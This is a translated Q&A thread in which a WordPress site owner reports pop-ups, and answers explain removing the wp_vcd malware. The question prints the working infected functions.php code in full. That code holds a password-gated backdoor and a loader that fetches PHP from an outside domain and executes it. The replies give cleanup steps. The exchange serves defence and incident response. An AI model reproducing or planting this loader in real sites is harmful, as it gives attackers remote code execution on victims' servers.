我共享主机上所有wordpress网站的functions.php中的PHP代码

Mei*_*sam 6 php wordpress

我有一个共享主机和一些wordpress网站。最近有时,当我访问我的网站时,弹出窗口打开。因此,我在Cpanel中打开了一个wordpress网站的模板目录。此代码已添加到functions.php文件顶部:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>
Run Code Online (Sandbox Code Playgroud)

所以我删除了,弹出问题解决了。我从functions.php所有网站的文件中删除了该文件,但是现在的问题是,当我访问functions.php任何网站时,代码又出现了,并且所有主题中甚至没有使用的主题中都包含该代码。我能做什么?


我为解决问题所做的工作

  1. wp-include目录中,删除wp-vcd.phpclass.wp.php 文件
  2. wp-include目录中,打开post.php并删除恶意软件添加的第一个php标签。
  3. 打开主题functions.php文件,然后删除上述代码。

这应该停止弹出窗口。但是我现在不知道它能工作多长时间。


我仍然没有找到感染所有网站的主文件,但想找出答案。

Ali*_*_Hr 10

我知道这个答案很晚,但是我会分享经验来帮助任何有此问题的人。造成此问题的原因可能是您从wordpress.org外部下载的插件,或者某个机构可以访问您的wordpress管理员帐户,并且尚未关闭外观标签中的editor.php或黑客拥有ftp用户和密码或。 ..要解决此问题,请先创建完整备份,然后将其保存在计算机中,以防万一,然后再执行以下操作:

  1. 转到您的wordpress网站的主题目录,并删除所有未使用的主题,因为它们已被感染。
  2. 在活动主题中,编辑您的functions.php文件,并删除恶意软件插入的所有其他代码。您可以搜索“ wp_vcd”或“ wp-tmp”字样以找到代码。
  3. 下载最新的wordpress安装。然后删除wp-include和wp-admin文件夹以及public_html中除wp-content文件夹和.htaccess文件和wp-config.php文件之外的所有文件。之后,将已删除的文件和文件夹替换为下载的wordpress。
  4. 删除您从已知来源下载的所有插件。
  5. 最后更改所有密码,例如ftp,管理面板,cpanel或直接admin,以防万一黑客将您的信息保存在某处。希望这个小指南能对某人有所帮助。